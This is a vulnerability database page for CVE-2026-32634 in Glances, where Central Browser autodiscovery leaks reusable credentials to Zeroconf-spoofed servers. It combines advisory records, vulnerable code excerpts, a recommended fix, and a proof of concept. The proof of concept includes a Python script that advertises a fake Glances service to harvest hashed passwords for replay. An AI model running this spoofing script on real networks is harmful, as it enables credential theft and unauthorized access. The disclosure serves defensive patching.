Vulnerability-Lookup

BREW-GLANCES-CVE-2026-32634 (CVE-2026-32634)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:51 – Updated: 2026-09-28 18:23 – Source website

Summary

Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Details

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.

Severity

8.1 (High)


                    
                      CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

URL

Type

	https://github.com/nicolargo/glances/releases/tag…	WEB
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/nicolargo/glances/security/adv…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-32634	ADVISORY
	https://github.com/nicolargo/glances/commit/61d38…	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "4.5.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "glances",
        "purl": "pkg:brew/glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/nicolargo/glances",
        "name": "https://github.com/nicolargo/glances",
        "strategy": "git",
        "subject_version": "4.5.7"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/glances@4.5.7",
        "name": "glances",
        "strategy": "registry",
        "subject_version": "4.5.7"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/glances",
        "name": "glances",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/nicolargo/glances",
        "name": "https://github.com/nicolargo/glances",
        "strategy": "distro",
        "subject_version": "4.5.7"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/glances@4.5.7",
        "name": "glances",
        "strategy": "distro",
        "subject_version": "4.5.7"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/glances",
        "name": "glances",
        "strategy": "distro"
      }
    ]
  },
  "details": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.",
  "id": "BREW-glances-CVE-2026-32634",
  "modified": "2026-09-28T18:23:06Z",
  "published": "2026-08-13T16:51:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32634.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32634"
    },
    {
      "type": "FIX",
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers",
  "upstream": [
    "CVE-2026-32634",
    "GHSA-vx5f-957p-qpvm",
    "PYSEC-2026-2172"
  ]
}

CVE-2026-32634 (GCVE-0-2026-32634)

Vulnerability from cvelistv5 – Published: 2026-03-18 17:55 – Updated: 2026-03-18 18:36

Title

Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Summary

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-18 18:36 UTC

CWE

CWE-346 - Origin Validation Error
CWE-522 - Insufficiently Protected Credentials

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/nicolargo/glances/security/adv…	x_refsource_CONFIRM
https://github.com/nicolargo/glances/commit/61d38…	x_refsource_MISC
https://github.com/nicolargo/glances/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nicolargo	glances	Affected: < 4.5.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32634",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-18T18:36:04.743026Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-18T18:36:07.432Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "glances",
          "vendor": "nicolargo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-18T17:55:30.552Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
        },
        {
          "name": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
        },
        {
          "name": "https://github.com/nicolargo/glances/releases/tag/v4.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-vx5f-957p-qpvm",
        "discovery": "UNKNOWN"
      },
      "title": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32634",
    "datePublished": "2026-03-18T17:55:30.552Z",
    "dateReserved": "2026-03-12T15:29:36.559Z",
    "dateUpdated": "2026-03-18T18:36:07.432Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-VX5F-957P-QPVM

Vulnerability from github – Published: 2026-03-16 16:36 – Updated: 2026-03-18 21:48

Summary

Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Details

Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.

An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

Details

Dynamic server discovery keeps both a short name and a separate ip:

# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
    new_server = {
        'key': name,
        'name': name.split(':')[0],  # Short name
        'ip': ip,  # IP address seen by the client
        'port': port,
        ...
        'type': 'DYNAMIC',
    }

The Zeroconf listener populates those fields directly from the service advertisement:

# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
    srv_name,
    new_server_ip,
    new_server_port,
    protocol=new_server_protocol,
)

However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:

# glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri

That URI is used automatically by the background polling thread:

# glances/servers_list.py:141-143
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)

The password lookup itself falls back to the global default password when there is no exact match:

# glances/password_list.py:45-58
def get_password(self, host=None):
    ...
    try:
        return self._password_dict[host]
    except (KeyError, TypeError):
        try:
            return self._password_dict['default']
        except (KeyError, TypeError):
            return None

The sample configuration explicitly supports that default credential reuse:

# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword

The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:

# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash

# glances/client.py:55-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

There is an inconsistent trust boundary in the interactive browser code as well:

glances/client_browser.py:44 opens the REST/WebUI target via webbrowser.open(self.servers_list.get_uri(server)), which again trusts server['name']
glances/client_browser.py:55 fetches saved passwords with self.servers_list.password.get_password(server['name'])
glances/client_browser.py:76 uses server['ip'] for the RPC client connection

That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

Exploit Flow

The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in [passwords] (especially default=...).
An attacker on the same multicast domain advertises a fake _glances._tcp.local. service with an attacker-controlled service name.
Glances stores the discovered server as {'name': <advertised-name>, 'ip': <discovered-ip>, ...}.
The background stats refresh calls get_uri(server).
Once the fake server causes the entry to become PROTECTED, get_uri() looks up a saved password by the attacker-controlled name, falls back to default if present, hashes it, and builds http://username:hash@<advertised-name>:<port>.
The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

PoC

Step 1: Verified local logic proof

The following command executes the real glances/servers_list.py get_uri() implementation (with unrelated imports stubbed out) and demonstrates that:

password lookup happens against server['name'], not server['ip']
the generated credential-bearing URI uses server['name'], not server['ip']

cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
    def get_password(self, host=None):
        print(f'lookup:{host}')
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
    'name': 'trusted-host',
    'ip': '203.0.113.77',
    'port': 61209,
    'username': 'glances',
    'password': None,
    'status': 'PROTECTED',
    'type': 'DYNAMIC',
}

print(sl.get_uri(server))
print(server)
'@ | python -

Verified output:

lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}

This confirms the code path binds credentials to the advertised name and ignores the discovered ip.

Step 2: Live network reproduction

Configure a reusable browser password:

# glances.conf
[passwords]
default=SuperSecretBrowserPassword

Start Glances in Central Browser mode on the victim machine:

glances --browser -C ./glances.conf

On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes PROTECTED:

from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
    "_glances._tcp.local.",
    "198.51.100.50:61209._glances._tcp.local.",
    addresses=[socket.inet_aton("198.51.100.50")],
    port=61209,
    properties={b"protocol": b"rpc"},
    server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)

On the next Central Browser refresh, Glances first probes the fake server, marks it PROTECTED, then retries with:

http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209

The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

Impact

Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
REST/WebUI click-through abuse: For REST servers, webbrowser.open(self.servers_list.get_uri(server)) can open attacker-controlled URLs with embedded credentials.
No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked PROTECTED.
Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

Recommended Fix

Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.

# glances/servers_list.py

def _get_connect_host(self, server):
    if server.get('type') == 'DYNAMIC':
        return server['ip']
    return server['name']

def _get_preconfigured_password(self, server):
    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
    if server.get('type') == 'DYNAMIC':
        return None
    return self.password.get_password(server['name'])

def get_uri(self, server):
    host = self._get_connect_host(server)
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self._get_preconfigured_password(server)
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
    return 'http://{}:{}'.format(host, server['port'])

And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:36:06Z",
    "nvd_published_at": "2026-03-18T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol=\u0027rpc\u0027):\n    new_server = {\n        \u0027key\u0027: name,\n        \u0027name\u0027: name.split(\u0027:\u0027)[0],  # Short name\n        \u0027ip\u0027: ip,  # IP address seen by the client\n        \u0027port\u0027: port,\n        ...\n        \u0027type\u0027: \u0027DYNAMIC\u0027,\n    }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n    srv_name,\n    new_server_ip,\n    new_server_port,\n    protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server[\u0027ip\u0027]` and instead uses the untrusted advertised `server[\u0027name\u0027]` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self.password.get_password(server[\u0027name\u0027])\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        uri = \u0027http://{}:{}@{}:{}\u0027.format(\n            server[\u0027username\u0027],\n            server[\u0027password\u0027],\n            server[\u0027name\u0027],\n            server[\u0027port\u0027],\n        )\n    else:\n        uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n    return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n    server[\u0027uri\u0027] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n    ...\n    try:\n        return self._password_dict[host]\n    except (KeyError, TypeError):\n        try:\n            return self._password_dict[\u0027default\u0027]\n        except (KeyError, TypeError):\n            return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n    self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server[\u0027name\u0027]`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server[\u0027name\u0027])`\n- `glances/client_browser.py:76` uses `server[\u0027ip\u0027]` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{\u0027name\u0027: \u003cadvertised-name\u003e, \u0027ip\u0027: \u003cdiscovered-ip\u003e, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@\u003cadvertised-name\u003e:\u003cport\u003e`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n- the generated credential-bearing URI uses `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = lambda x: x\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n    def get_password(self, host=None):\n        print(f\u0027lookup:{host}\u0027)\n        return \u0027defaultpassword\u0027\n    def get_hash(self, password):\n        return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n    \u0027name\u0027: \u0027trusted-host\u0027,\n    \u0027ip\u0027: \u0027203.0.113.77\u0027,\n    \u0027port\u0027: 61209,\n    \u0027username\u0027: \u0027glances\u0027,\n    \u0027password\u0027: None,\n    \u0027status\u0027: \u0027PROTECTED\u0027,\n    \u0027type\u0027: \u0027DYNAMIC\u0027,\n}\n\nprint(sl.get_uri(server))\nprint(server)\n\u0027@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{\u0027name\u0027: \u0027trusted-host\u0027, \u0027ip\u0027: \u0027203.0.113.77\u0027, \u0027port\u0027: 61209, \u0027username\u0027: \u0027glances\u0027, \u0027password\u0027: \u0027hash(defaultpassword)\u0027, \u0027status\u0027: \u0027PROTECTED\u0027, \u0027type\u0027: \u0027DYNAMIC\u0027}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n    \"_glances._tcp.local.\",\n    \"198.51.100.50:61209._glances._tcp.local.\",\n    addresses=[socket.inet_aton(\"198.51.100.50\")],\n    port=61209,\n    properties={b\"protocol\": b\"rpc\"},\n    server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:\u003cpbkdf2_hash_of_default_password\u003e@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return server[\u0027ip\u0027]\n    return server[\u0027name\u0027]\n\ndef _get_preconfigured_password(self, server):\n    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return None\n    return self.password.get_password(server[\u0027name\u0027])\n\ndef get_uri(self, server):\n    host = self._get_connect_host(server)\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self._get_preconfigured_password(server)\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        return \u0027http://{}:{}@{}:{}\u0027.format(server[\u0027username\u0027], server[\u0027password\u0027], host, server[\u0027port\u0027])\n    return \u0027http://{}:{}\u0027.format(host, server[\u0027port\u0027])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server[\u0027name\u0027])` directly.",
  "id": "GHSA-vx5f-957p-qpvm",
